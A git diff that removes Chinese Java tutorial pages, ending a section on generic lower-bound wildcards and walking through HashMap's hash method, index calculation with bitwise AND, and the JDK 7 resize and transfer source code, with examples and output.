-当我们需要往一个泛型集合中添加元素时,如果使用的是上限通配符,集合中的元素类型可能会被限制,从而无法添加某些类型的元素。但是,如果我们使用下限通配符,可以将指定类型的子类型添加到集合中,保证了元素的完整性。 - -举个例子,假设有一个类 Animal,以及两个子类 Dog 和 Cat。现在我们有一个 `List` 集合,它的类型参数必须是 Dog 或其父类类型。我们可以向该集合中添加 Dog 类型的元素,也可以添加它的子类。但是,不能向其中添加 Cat 类型的元素,因为 Cat 不是 Dog 的子类。 - -下面是一个使用下限通配符的示例: - -```java -List animals = new ArrayList<>(); - -// 可以添加 Dog 类型的元素和其子类型元素 -animals.add(new Dog()); -animals.add(new Bulldog()); - -// 不能添加 Cat 类型的元素 -animals.add(new Cat()); // 编译报错 -``` - -需要注意的是,虽然使用下限通配符可以添加某些子类型元素,但是在读取元素时,我们只能确保其是 Object 类型的,无法确保其是指定类型或其父类型。因此,在读取元素时需要进行类型转换,如下所示: - -```java -List animals = new ArrayList<>(); -animals.add(new Dog()); - -// 读取元素时需要进行类型转换 -Object animal = animals.get(0); -Dog dog = (Dog) animal; -``` - -总的来说,Java 的泛型机制是一种非常强大的类型约束机制,可以在编译时检查类型安全性,并提高代码的复用性和可读性。但是,在使用泛型时也需要注意类型擦除和通配符等问题,以确保代码的正确性。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/collection/hashmap.md b/docs/src/collection/hashmap.md deleted file mode 100644 index fea49b54ae..0000000000 --- a/docs/src/collection/hashmap.md +++ /dev/null @@ -1,1356 +0,0 @@ ---- -title: Java HashMap详解:源码分析、hash 原理、扩容机制、加载因子、线程不安全 -shortTitle: HashMap详解(附源码) -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java HashMap 的实现原理、功能特点以及源码,为您提供了 HashMap 的实际应用示例和性能优化建议。阅读本文,将帮助您更深入地理解 HashMap,从而在实际编程中充分发挥其优势。 -date: 2024-11-20 -head: - - - meta - - name: keywords - content: Java,HashMap,java hashmap, 源码分析, 实现原理 ---- - - -这篇文章将会详细透彻地讲清楚 Java 的 HashMap,包括 hash 方法的原理、HashMap 的扩容机制、HashMap 的加载因子为什么是 0.75 而不是 0.6、0.8,以及 HashMap 为什么是线程不安全的,基本上 HashMap 的[常见面试题](https://javabebetter.cn/interview/java-hashmap-13.html),都会在这一篇文章里讲明白。 - -HashMap 是 Java 中常用的数据结构之一,用于存储键值对。在 HashMap 中,每个键都映射到一个唯一的值,可以通过键来快速访问对应的值,算法时间复杂度可以达到 O(1)。 - -HashMap 不仅在日常开发中经常用到,在面试中也是重点考察的对象。 - -以下是 HashMap 增删改查的简单例子: - -**1)增加元素**: - -将一个键值对(元素)添加到 HashMap 中,可以使用 put() 方法。例如,将名字和年龄作为键值对添加到 HashMap 中: - -```java -HashMap map = new HashMap<>(); -map.put("沉默", 20); -map.put("王二", 25); -``` - -**2)删除元素**: - -从 HashMap 中删除一个键值对,可以使用 remove() 方法。例如,删除名字为 "沉默" 的键值对: - -```java -map.remove("沉默"); -``` - -**3)修改元素**: - -修改 HashMap 中的一个键值对,可以使用 put() 方法。例如,将名字为 "沉默" 的年龄修改为 30: - -```java -map.put("沉默", 30); -``` - -为什么和添加元素的方法一样呢?这个我们后面会讲,先简单说一下,是因为 HashMap 的键是唯一的,所以再次 put 的时候会覆盖掉之前的键值对。 - -**4)查找元素**: - -从 HashMap 中查找一个键对应的值,可以使用 get() 方法。例如,查找名字为 "沉默" 的年龄: - -```java -int age = map.get("沉默"); -``` - -在实际应用中,HashMap 可以用于缓存、索引等场景。例如,可以将用户 ID 作为键,用户信息作为值,将用户信息缓存到 HashMap 中,以便快速查找。又如,可以将关键字作为键,文档 ID 列表作为值,将文档索引缓存到 HashMap 中,以便快速搜索文档。 - -HashMap 的实现原理是基于哈希表的,它的底层是一个数组,数组的每个位置可能是一个链表或红黑树,也可能只是一个键值对(后面会讲)。当添加一个键值对时,HashMap 会根据键的哈希值计算出该键对应的数组下标(索引),然后将键值对插入到对应的位置。 - -当通过键查找值时,HashMap 也会根据键的哈希值计算出数组下标,并查找对应的值。 - -### 01、hash 方法的原理 - -简单了解 HashMap 后,我们来讨论第一个问题:hash 方法的原理,对吃透 HashMap 会大有帮助。 - -来看一下 hash 方法的源码(JDK 8 中的 HashMap): - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); -} -``` - -这段代码究竟是用来干嘛的呢? - -**将 key 的 hashCode 值进行处理,得到最终的哈希值**。 - -怎么理解这句话呢?不要着急。 - -我们来 new 一个 HashMap,并通过 put 方法添加一个元素。 - -```java -HashMap map = new HashMap<>(); -map.put("chenmo", "沉默"); -``` - -来看一下 put 方法的源码。 - -```java -public V put(K key, V value) { - return putVal(hash(key), key, value, false, true); -} -``` - -看到 hash 方法的身影了吧? - -#### hash 方法的作用 - -前面也说了,HashMap 的底层是通过数组的形式实现的,初始大小是 16(这个后面会讲),先记住。 - -也就是说,HashMap 在添加第一个元素的时候,需要通过键的哈希码在大小为 16 的数组中确定一个位置(索引),怎么确定呢? - -为了方便大家直观的感受,我这里画了一副图,16 个方格子(可以把它想象成一个一个桶),每个格子都有一个编号,对应大小为 16 的数组下标(索引)。 - -![](https://cdn.paicoding.com/paicoding/3d8ff1f5dc43cc065edb76902156d02b.png) - -现在,我们要把 key 为 “chenmo”,value 为“沉默”的键值对放到这 16 个格子中的一个。 - -怎么确定位置(索引)呢? - -我先告诉大家结论,通过这个与运算 `(n - 1) & hash`,其中变量 n 为数组的长度,变量 hash 就是通过 `hash()` 方法计算后的结果。 - -那“chenmo”这个 key 计算后的位置(索引)是多少呢? - -答案是 8,也就是说 `map.put("chenmo", "沉默")` 会把 key 为 “chenmo”,value 为“沉默”的键值对放到下标为 8 的位置上(也就是索引为 8 的桶上)。 - -![](https://cdn.paicoding.com/paicoding/fcc9cb8f8252f712d72406f7ffb83a89.png) - -这样大家就会对 HashMap 存放键值对(元素)的时候有一个大致的印象。其中的一点是,hash 方法对计算键值对的位置起到了至关重要的作用。 - -回到 hash 方法: - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); -} -``` - -下面是对该方法的一些解释: - -- 参数 key:需要计算哈希码的键值。 -- `key == null ? 0 : (h = key.hashCode()) ^ (h >>> 16)`:这是一个三目运算符,如果键值为 null,则哈希码为 0(依旧是说如果键为 null,则存放在第一个位置);否则,通过调用`hashCode()`方法获取键的哈希码,并将其与右移 16 位的哈希码进行异或运算。 -- `^` 运算符:异或运算符是 Java 中的一种位运算符,它用于将两个数的二进制位进行比较,如果相同则为 0,不同则为 1。 -- `h >>> 16`:将哈希码向右移动 16 位,相当于将原来的哈希码分成了两个 16 位的部分。 -- 最终返回的是经过异或运算后得到的哈希码值。 - -这短短的一行代码,汇聚不少计算机巨佬们的聪明才智。 - -理论上,哈希值(哈希码)是一个 int 类型,范围从-2147483648 到 2147483648。 - -前后加起来大概 40 亿的映射空间,只要哈希值映射得比较均匀松散,一般是不会出现哈希碰撞(哈希冲突会降低 HashMap 的效率)。 - -但问题是一个 40 亿长度的数组,内存是放不下的。HashMap 扩容之前的数组初始大小只有 16,所以这个哈希值是不能直接拿来用的,用之前要和数组的长度做与运算(前文提到的 `(n - 1) & hash`,有些地方叫取模预算,有些地方叫取余运算),用得到的值来访问数组下标才行。 - -#### 取模运算 VS 取余运算 VS 与运算 - -那这里就顺带补充一些取模预算/取余运算和与运算的知识点哈。 - -取模运算(Modulo Operation)和取余运算(Remainder Operation)从严格意义上来讲,是两种不同的运算方式,它们在计算机中的实现也不同。 - -在 Java 中,通常使用 % 运算符来表示取余,用 `Math.floorMod()` 来表示取模。 - -- 当操作数都是正数的话,取模运算和取余运算的结果是一样的。 -- 只有当操作数出现负数的情况,结果才会有所不同。 -- **取模运算的商向负无穷靠近;取余运算的商向 0 靠近**。这是导致它们两个在处理有负数情况下,结果不同的根本原因。 -- 当数组的长度是 2 的 n 次方,或者 n 次幂,或者 n 的整数倍时,取模运算/取余运算可以用位运算来代替,效率更高,毕竟计算机本身只认二进制嘛。 - -我们通过一个实际的例子来看一下。 - -```java -int a = -7; -int b = 3; - -// a 对 b 取余 -int remainder = a % b; -// a 对 b 取模 -int modulus = Math.floorMod(a, b); - -System.out.println("数字: a = " + a + ", b = " + b); -System.out.println("取余 (%): " + remainder); -System.out.println("取模 (Math.floorMod): " + modulus); - -// 改变 a 和 b 的正负情况 -a = 7; -b = -3; - -remainder = a % b; -modulus = Math.floorMod(a, b); - -System.out.println("\n数字: a = " + a + ", b = " + b); -System.out.println("取余 (%): " + remainder); -System.out.println("取模 (Math.floorMod): " + modulus); -``` - -输出结果如下所示: - -``` -数字: a = -7, b = 3 -取余 (%): -1 -取模 (Math.floorMod): 2 - -数字: a = 7, b = -3 -取余 (%): 1 -取模 (Math.floorMod): -2 -``` - -为什么会有这样的结果呢? - -首先,我们来考虑一下常规除法。当我们将一个数除以另一个数时,我们将得到一个商和一个余数。 - -例如,当我们把 7 除以 3 时,我们得到商 2 和余数 1,因为 \(7 = 3 × 2 + 1\)。 - -推荐阅读:[Java 取模和取余](https://www.cnblogs.com/doondo/p/14678204.html) - -**01、取余**: - -余数的定义是基于常规除法的,所以它的符号总是与被除数相同。商趋向于 0。 - -例如,对于 `-7 % 3`,余数是 `-1`。因为 -7 / 3 可以有两种结果,一种是商 -2 余 -1;一种是商 -3 余 2,对吧? - -因为取余的商趋向于 0,-2 比 -3 更接近于 0,所以取余的结果是 -1。 - -**02、取模**: - -取模也是基于除法的,只不过它的符号总是与除数相同。商趋向于负无穷。 - -例如,对于 `Math.floorMod(-7, 3)`,结果是 `2`。同理,因为 -7 / 3 可以有两种结果,一种是商 -2 余 -1;一种是商 -3 余 2,对吧? - -因为取模的商趋向于负无穷,-3 比 -2 更接近于负无穷,所以取模的结果是 2。 - -需要注意的是,不管是取模还是取余,除数都不能为 0,因为取模和取余都是基于除法运算的。 - -**03、与运算**: - -当除数和被除数都是正数的情况下,取模运算和取余运算的结果是一样的。 - -比如说,7 对 3 取余,和 7 对 3 取模,结果都是 1。因为两者都是基于除法运算的,7 / 3 的商是 2,余数是 1。 - -于是,我们会在很多地方看到,**取余就是取模,取模就是取余。这是一种不准确的说法,基于操作数都是正数的情况下**。 - -对于 HashMap 来说,它需要通过 `hash % table.length` 来确定元素在数组中的位置,这种做法可以在很大程度上让元素均匀的分布在数组中。 - -比如说,数组长度是 3,hash 是 7,那么 7 % 3 的结果就是 1,也就是此时可以把元素放在下标为 1 的位置。 - -当 hash 是 8,8 % 3 的结果就是 2,也就是可以把元素放在下标为 2 的位置。 - -当 hash 是 9,9 % 3 的结果就是 0,也就是可以把元素放在下标为 0 的位置上。 - -是不是很奇妙,数组的大小为 3,刚好 3 个位置都利用上了。 - -那为什么 HashMap 在计算下标的时候,并没有直接使用取余运算(或者取模运算),而是直接使用位与运算 & 呢? - -因为当数组的长度是 2 的 n 次方时,`hash & (length - 1) = hash % length`。 - -比如说 9 % 4 = 1,9 的二进制是 1001,4 - 1 = 3,3 的二进制是 0011,9 & 3 = 1001 & 0011 = 0001 = 1。 - -再比如说 10 % 4 = 2,10 的二进制是 1010,4 - 1 = 3,3 的二进制是 0011,10 & 3 = 1010 & 0011 = 0010 = 2。 - -当数组的长度不是 2 的 n 次方时,`hash % length` 和 `hash & (length - 1)` 的结果就不一致了。 - -比如说 7 % 3 = 1,7 的二进制是 0111,3 - 1 = 2,2 的二进制是 0010,7 & 2 = 0111 & 0010 = 0010 = 2。 - -那为什么呢? - -因为从二进制角度来看,hash / length = hash / ${2^n}$ = hash >> n,即把 hash 右移 n 位,此时得到了 hash / ${2^n}$ 的商。 - -而被移调的部分,则是 hash % ${2^n}$,也就是余数。 - -${2^n}$ 的二进制形式为 1,后面跟着 n 个 0,那 ${2^n}$ - 1 的二进制则是 n 个 1。例如 8 = ${2^3}$,二进制是 1000,7 = ${2^3}$ - 1,二进制为 0111。 - -`hash % length`的操作是求 hash 除以 ${2^n}$ 的余数。在二进制中,这个操作的结果就是 hash 的二进制表示中最低 n 位的值。 - -因为在 ${2^n}$ 取模的操作中,高于 ${2^n}$ 表示位的所有数值对结果没有贡献,只有低于这个阈值的部分才决定余数。 - -比如说 26 的二进制是 11010,要计算 26 % 8,8 是 ${2^3}$,所以我们关注的是 26 的二进制表示中最低 3 位:11010 的最低 3 位是 010。 - -010 对应于十进制中的 2,26 % 8 的结果是 2。 - -当执行`hash & (length - 1)`时,实际上是保留 hash 二进制表示的最低 n 位,其他高位都被清零。 - -> & 与运算:两个操作数中位都为 1,结果才为 1,否则结果为 0。 - -举个例子,hash 为 14,n 为 3,也就是数组长度为 ${2^3}$,也就是 8。 - -``` - 1110 (hash = 14) -& 0111 (length - 1 = 7) - ---- - 0110 (结果 = 6) -``` - -保留 14 的最低 3 位,高位被清零。 - -从此,两个运算 `hash % length` 和 `hash & (length - 1)` 有了完美的闭环。在计算机中,位运算的速度要远高于取余运算,因为计算机本质上就是二进制嘛。 - -HashMap 的取模运算有两处。 - -一处是往 HashMap 中 put 的时候(会调用私有的 `putVal` 方法): - -```java -final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { - // 数组 - HashMap.Node[] tab; - // 元素 - HashMap.Node p; - - // n 为数组的长度 i 为下标 - int n, i; - // 数组为空的时候 - if ((tab = table) == null || (n = tab.length) == 0) - // 第一次扩容后的数组长度 - n = (tab = resize()).length; - // 计算节点的插入位置,如果该位置为空,则新建一个节点插入 - if ((p = tab[i = (n - 1) & hash]) == null) - tab[i] = newNode(hash, key, value, null); -} -``` - -其中 `(n - 1) & hash` 为取模运算,为什么没用 `%`,我们随后解释。 - -一处是从 HashMap 中 get 的时候(会调用 `getNode` 方法): - -```java -final Node getNode(int hash, Object key) { - // 获取当前的数组和长度,以及当前节点链表的第一个节点(根据索引直接从数组中找) - Node[] tab; - Node first, e; - int n; - K k; - if ((tab = table) != null && (n = tab.length) > 0 && - (first = tab[(n - 1) & hash]) != null) { - // 如果第一个节点就是要查找的节点,则直接返回 - if (first.hash == hash && ((k = first.key) == key || (key != null && key.equals(k)))) - return first; - // 如果第一个节点不是要查找的节点,则遍历节点链表查找 - if ((e = first.next) != null) { - do { - if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) - return e; - } while ((e = e.next) != null); - } - } - // 如果节点链表中没有找到对应的节点,则返回 null - return null; -} -``` - -看到没,取模运算 `(n - 1) & hash` 再次出现,说简单点,就是把键的哈希码经过 `hash()` 方法计算后,再和(数组长度-1)做了一个“与”运算。 - -#### 取模运算%和位运算& - -可能大家在疑惑:**取模运算难道不该用 `%` 吗?为什么要用位运算 `&` 呢**? - -这是因为 `&` 运算比 `%` 更加高效,并且当 b 为 2 的 n 次方时,存在下面这样一个公式。 - -> a % b = a & (b-1) - -用 ${2^n}$ 替换下 b 就是: - -> a % ${2^n}$ = a & (${2^n}$-1) - -我们来验证一下,假如 a = 14,b = 8,也就是 ${2^3}$,n=3。 - -14%8(余数为 6)。 - -14 的二进制为 1110,8 的二进制 1000,8-1 = 7,7 的二进制为 0111,1110&0111=0110,也就是 0`*`${2^0}$+1`*`${2^1}$+1`*`${2^2}$+0`*`${2^3}$=0+2+4+0=6,14%8 刚好也等于 6。 - -害,计算机就是这么讲道理,没办法,😝 - -这也正好解释了**为什么 HashMap 的数组长度要取 2 的整次方**。 - -为什么会这样巧呢? - -因为(数组长度-1)正好相当于一个“低位掩码”——这个掩码的低位最好全是 1,这样 & 操作才有意义,否则结果就肯定是 0。 - -> a&b 操作的结果是:a、b 中对应位同时为 1,则对应结果位为 1,否则为 0。例如 5&3=1,5 的二进制是 0101,3 的二进制是 0011,5&3=0001=1。 - -2 的整次幂刚好是偶数,偶数-1 是奇数,奇数的二进制最后一位是 1,保证了 `hash &(length-1)` 的最后一位可能为 0,也可能为 1(取决于 hash 的值),即 & 运算后的结果可能为偶数,也可能为奇数,这样便可以保证哈希值的均匀分布。 - -换句话说,& 操作的结果就是将哈希值的高位全部归零,只保留低位值。 - -假设某哈希值的二进制为 `10100101 11000100 00100101`,用它来做 & 运算,我们来看一下结果。 - -我们知道,HashMap 的初始长度为 16,16-1=15,二进制是 `00000000 00000000 00001111`(高位用 0 来补齐): - -``` - 10100101 11000100 00100101 -& 00000000 00000000 00001111 ----------------------------------- - 00000000 00000000 00000101 -``` - -因为 15 的高位全部是 0,所以 & 运算后的高位结果肯定也是 0,只剩下 4 个低位 `0101`,也就是十进制的 5。 - -这样,哈希值为 `10100101 11000100 00100101` 的键就会放在数组的第 5 个位置上。 - -当然了,如果你是新手,上面这些 01 串看不太懂,也没关系。记住 &运算是为了计算数组的下标就可以了。 - -- put 的时候计算下标,把键值对放到对应的桶上。 -- get 的时候通过下标,把键值对从对应的桶上取出来。 - -#### 为什么取模运算之前要调用 hash 方法呢? - -看下面这个图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hash-01.png) - -某哈希值为 `11111111 11111111 11110000 1110 1010`,将它右移 16 位(h >>> 16),刚好是 `00000000 00000000 11111111 11111111`,再进行异或操作(h ^ (h >>> 16)),结果是 `11111111 11111111 00001111 00010101` - -> 异或(`^`)运算是基于二进制的位运算,采用符号 XOR 或者`^`来表示,运算规则是:如果是同值取 0、异值取 1 - -由于混合了原来哈希值的高位和低位,所以低位的随机性加大了(掺杂了部分高位的特征,高位的信息也得到了保留)。 - -结果再与数组长度-1(`00000000 00000000 00000000 00001111`)做取模运算,得到的下标就是 `00000000 00000000 00000000 00000101`,也就是 5。 - -还记得之前我们假设的某哈希值 `10100101 11000100 00100101` 吗?在没有调用 hash 方法之前,与 15 做取模运算后的结果也是 5,我们不妨来看看调用 hash 之后的取模运算结果是多少。 - -某哈希值 `00000000 10100101 11000100 00100101`(补齐 32 位),将它右移 16 位(h >>> 16),刚好是 `00000000 00000000 00000000 10100101`,再进行异或操作(h ^ (h >>> 16)),结果是 `00000000 10100101 00111011 10000000` - -结果再与数组长度-1(`00000000 00000000 00000000 00001111`)做取模运算,得到的下标就是 `00000000 00000000 00000000 00000000`,也就是 0。 - -综上所述,**hash 方法是用来做哈希值优化的**,把哈希值右移 16 位,也就正好是自己长度的一半,之后与原哈希值做异或运算,这样就混合了原哈希值中的高位和低位,增大了随机性。 - -说白了,**hash 方法就是为了增加随机性,让数据元素更加均衡的分布,减少碰撞**。 - -我这里写了一段测试代码,假如 HashMap 的容量就是第一次扩容时候的 16,我在里面放了五个键值对,来看一下键的 hash 值(经过 `hash()` 方法计算后的哈希码)和索引(取模运算后) - -```java -HashMap map = new HashMap<>(); -map.put("chenmo", "沉默"); -map.put("wanger", "王二"); -map.put("chenqingyang", "陈清扬"); -map.put("xiaozhuanling", "小转铃"); -map.put("fangxiaowan", "方小婉"); - -// 遍历 HashMap -for (String key : map.keySet()) { - int h, n = 16; - int hash = (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); - int i = (n - 1) & hash; - // 打印 key 的 hash 值 和 索引 i - System.out.println(key + "的hash值 : " + hash +" 的索引 : " + i); -} -``` - -输出结果如下所示: - -``` -xiaozhuanling的hash值 : 14597045 的索引 : 5 -fangxiaowan的hash值 : -392727066 的索引 : 6 -chenmo的hash值 : -1361556696 的索引 : 8 -chenqingyang的hash值 : -613818743 的索引 : 9 -wanger的hash值 : -795084437 的索引 : 11 -``` - -也就是说,此时还没有发生哈希冲突,索引值都是比较均匀分布的,5、6、8、9、11,这其中的很大一部分功劳,就来自于 hash 方法。 - -#### 小结 - -hash 方法的主要作用是将 key 的 hashCode 值进行处理,得到最终的哈希值。由于 key 的 hashCode 值是不确定的,可能会出现哈希冲突,因此需要将哈希值通过一定的算法映射到 HashMap 的实际存储位置上。 - -hash 方法的原理是,先获取 key 对象的 hashCode 值,然后将其高位与低位进行异或操作,得到一个新的哈希值。为什么要进行异或操作呢?因为对于 hashCode 的高位和低位,它们的分布是比较均匀的,如果只是简单地将它们加起来或者进行位运算,容易出现哈希冲突,而异或操作可以避免这个问题。 - -然后将新的哈希值取模(mod),得到一个实际的存储位置。这个取模操作的目的是将哈希值映射到桶(Bucket)的索引上,桶是 HashMap 中的一个数组,每个桶中会存储着一个链表(或者红黑树),装载哈希值相同的键值对(没有相同哈希值的话就只存储一个键值对)。 - -总的来说,HashMap 的 hash 方法就是将 key 对象的 hashCode 值进行处理,得到最终的哈希值,并通过一定的算法映射到实际的存储位置上。这个过程决定了 HashMap 内部键值对的查找效率。 - -### 02、HashMap 的扩容机制 - -好,理解了 hash 方法后我们来看第二个问题,HashMap 的扩容机制。 - -大家都知道,数组一旦初始化后大小就无法改变了,所以就有了 [ArrayList](https://javabebetter.cn/collection/arraylist.html)这种“动态数组”,可以自动扩容。 - -HashMap 的底层用的也是数组。向 HashMap 里不停地添加元素,当数组无法装载更多元素时,就需要对数组进行扩容,以便装入更多的元素;除此之外,容量的提升也会相应地提高查询效率,因为“桶(坑)”更多了嘛,原来需要通过链表存储的(查询的时候需要遍历),扩容后可能就有自己专属的“坑位”了(直接就能查出来)。 - -来看这个例子,容量我们定位 16: - -```java -HashMap map = new HashMap<>(); -map.put("chenmo", "沉默"); -map.put("wanger", "王二"); -map.put("chenqingyang", "陈清扬"); -map.put("xiaozhuanling", "小转铃"); -map.put("fangxiaowan", "方小婉"); -map.put("yexin", "叶辛"); -map.put("liuting","刘婷"); -map.put("yaoxiaojuan","姚小娟"); - -// 遍历 HashMap -for (String key : map.keySet()) { - int h, n = 16; - int hash = (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); - int i = (n - 1) & hash; - // 打印 key 的 hash 值 和 索引 i - System.out.println(key + "的hash值 : " + hash +" 的索引 : " + i); -} -``` - -来看输出结果: - -``` -liuting的hash值 : 183821170 的索引 : 2 -xiaozhuanling的hash值 : 14597045 的索引 : 5 -fangxiaowan的hash值 : -392727066 的索引 : 6 -yaoxiaojuan的hash值 : 1231568918 的索引 : 6 -chenmo的hash值 : -1361556696 的索引 : 8 -chenqingyang的hash值 : -613818743 的索引 : 9 -yexin的hash值 : 114873289 的索引 : 9 -wanger的hash值 : -795084437 的索引 : 11 -``` - -看到没? - -- fangxiaowan(方小婉)和 yaoxiaojuan(姚小娟)的索引都是 6; -- chenqingyang(陈清扬)和 yexin(叶辛)的索引都是 9 - -这就意味着,要采用拉链法(后面会讲)将他们放在同一个索引的链表上。查询的时候,就不能直接通过索引的方式直接拿到([时间复杂度](https://javabebetter.cn/collection/time-complexity.html)为 O(1)),而要通过遍历的方式(时间复杂度为 O(n))。 - -那假如把数组的长度由 16 扩容为 32 呢? - -将之前示例中的 n 由 16 改为 32 即可得到如下的答案: - -```java -liuting的hash值 : 183821170 的索引 : 18 -xiaozhuanling的hash值 : 14597045 的索引 : 21 -fangxiaowan的hash值 : -392727066 的索引 : 6 -yaoxiaojuan的hash值 : 1231568918 的索引 : 22 -chenmo的hash值 : -1361556696 的索引 : 8 -chenqingyang的hash值 : -613818743 的索引 : 9 -yexin的hash值 : 114873289 的索引 : 9 -wanger的hash值 : -795084437 的索引 : 11 -``` - -可以看到: - -- 虽然 chenqingyang(陈清扬)和 yexin(叶辛)的索引仍然是 9。 -- 但 fangxiaowan(方小婉)的索引为 6,yaoxiaojuan(姚小娟)的索引由 6 变为 22,各自都有坑了。 - -当然了,数组是无法自动扩容的,所以如果要扩容的话,就需要新建一个大的数组,然后把之前小的数组的元素复制过去,并且要重新计算哈希值和重新分配桶(重新散列),这个过程也是挺耗时的。 - -#### resize 方法 - -HashMap 的扩容是通过 resize 方法来实现的,JDK 8 中融入了红黑树(链表长度超过 8 的时候,会将链表转化为红黑树来提高查询效率),对于新手来说,可能比较难理解。 - -为了减轻大家的学习压力,就还使用 JDK 7 的源码,搞清楚了 JDK 7 的,再看 JDK 8 的就会轻松很多。 - -来看 Java7 的 resize 方法源码,我加了注释: - -```java -// newCapacity为新的容量 -void resize(int newCapacity) { - // 小数组,临时过度下 - Entry[] oldTable = table; - // 扩容前的容量 - int oldCapacity = oldTable.length; - // MAXIMUM_CAPACITY 为最大容量,2 的 30 次方 = 1<<30 - if (oldCapacity == MAXIMUM_CAPACITY) { - // 容量调整为 Integer 的最大值 0x7fffffff(十六进制)=2 的 31 次方-1 - threshold = Integer.MAX_VALUE; - return; - } - - // 初始化一个新的数组(大容量) - Entry[] newTable = new Entry[newCapacity]; - // 把小数组的元素转移到大数组中 - transfer(newTable, initHashSeedAsNeeded(newCapacity)); - // 引用新的大数组 - table = newTable; - // 重新计算阈值 - threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1); -} -``` - -该方法接收一个新的容量 newCapacity,然后将 HashMap 的容量扩大到 newCapacity。 - -首先,方法获取当前 HashMap 的旧数组 oldTable 和旧容量 oldCapacity。如果旧容量已经达到 HashMap 支持的最大容量 MAXIMUM_CAPACITY( 2 的 30 次方),就将新的阈值 threshold 调整为 Integer.MAX_VALUE(2 的 31 次方 - 1),这是因为 HashMap 的容量不能超过 MAXIMUM_CAPACITY。 - -因为 2,147,483,647(Integer.MAX_VALUE) - 1,073,741,824(MAXIMUM_CAPACITY) = 1,073,741,823,刚好相差一倍(HashMap 每次扩容都是之前的一倍)。 - -接着,方法创建一个新的数组 newTable,并将旧数组 oldTable 中的元素转移到新数组 newTable 中。转移过程是通过调用 transfer 方法来实现的。该方法遍历旧数组中的每个桶,并将每个桶中的键值对重新计算哈希值后,将其插入到新数组对应的桶中。 - -转移完成后,方法将 HashMap 内部的数组引用 table 指向新数组 newTable,并重新计算阈值 threshold。新的阈值是新容量 newCapacity 乘以负载因子 loadFactor 的结果,但如果计算结果超过了 HashMap 支持的最大容量 MAXIMUM_CAPACITY,则将阈值设置为 MAXIMUM_CAPACITY + 1,这是因为 HashMap 的元素数量不能超过 MAXIMUM_CAPACITY。 - -#### 新容量 newCapacity - -那 newCapacity 是如何计算的呢? - -```java -int newCapacity = oldCapacity * 2; -if (newCapacity < 0 || newCapacity >= MAXIMUM_CAPACITY) { - newCapacity = MAXIMUM_CAPACITY; -} else if (newCapacity < DEFAULT_INITIAL_CAPACITY) { - newCapacity = DEFAULT_INITIAL_CAPACITY; -} -``` - -新容量 newCapacity 被初始化为原容量 oldCapacity 的两倍。然后,如果 newCapacity 超过了 HashMap 的容量限制 MAXIMUM_CAPACITY(2^30),就将 newCapacity 设置为 MAXIMUM_CAPACITY。如果 newCapacity 小于默认初始容量 DEFAULT_INITIAL_CAPACITY(16),就将 newCapacity 设置为 DEFAULT_INITIAL_CAPACITY。这样可以避免新容量太小或太大导致哈希冲突过多或者浪费空间。 - -Java 8 的时候,newCapacity 的计算方式发生了一些细微的变化。 - -```java -int newCapacity = oldCapacity << 1; -if (newCapacity >= DEFAULT_INITIAL_CAPACITY && oldCapacity >= DEFAULT_INITIAL_CAPACITY) { - if (newCapacity > MAXIMUM_CAPACITY) - newCapacity = MAXIMUM_CAPACITY; -} else { - if (newCapacity < DEFAULT_INITIAL_CAPACITY) - newCapacity = DEFAULT_INITIAL_CAPACITY; -} -``` - -注意,`oldCapacity * 2` 变成了 `oldCapacity << 1`,出现了左移(`<<`),这里简单介绍一下: - -``` -a=39 -b = a << 2 -``` - -十进制 39 用 8 位的二进制来表示,就是 00100111,左移两位后是 10011100(低位用 0 补上),再转成十进制数就是 156。 - -移位运算通常可以用来代替乘法运算和除法运算。例如,将 0010011(39)左移两位就是 10011100(156),刚好变成了原来的 4 倍。 - -实际上呢,二进制数左移后会变成原来的 2 倍、4 倍、8 倍,记住这个就好。 - -#### transfer 方法 - -接下来,来说 transfer 方法,该方法用来转移,将旧的小数组元素拷贝到新的大数组中。 - -```java -void transfer(Entry[] newTable, boolean rehash) { - // 新的容量 - int newCapacity = newTable.length; - // 遍历小数组 - for (Entry e : table) { - while(null != e) { - // 拉链法,相同 key 上的不同值 - Entry next = e.next; - // 是否需要重新计算 hash - if (rehash) { - e.hash = null == e.key ? 0 : hash(e.key); - } - // 根据大数组的容量,和键的 hash 计算元素在数组中的下标 - int i = indexFor(e.hash, newCapacity); - - // 同一位置上的新元素被放在链表的头部 - e.next = newTable[i]; - - // 放在新的数组上 - newTable[i] = e; - - // 链表上的下一个元素 - e = next; - } - } -} -``` - -该方法接受一个新的 Entry 数组 newTable 和一个布尔值 rehash 作为参数,其中 newTable 表示新的哈希表,rehash 表示是否需要重新计算键的哈希值。 - -在方法中,首先获取新哈希表(数组)的长度 newCapacity,然后遍历旧哈希表中的每个 Entry。对于每个 Entry,使用拉链法将相同 key 值的不同 value 值存储在同一个链表中。如果 rehash 为 true,则需要重新计算键的哈希值,并将新的哈希值存储在 Entry 的 hash 属性中。 - -接着,根据新哈希表的长度和键的哈希值,计算 Entry 在新数组中的位置 i,然后将该 Entry 添加到新数组的 i 位置上。由于新元素需要被放在链表的头部,因此将新元素的下一个元素设置为当前数组位置上的元素。 - -最后,遍历完旧哈希表中的所有元素后,转移工作完成,新的哈希表 newTable 已经包含了旧哈希表中的所有元素。 - -#### 拉链法 - -注意,`e.next = 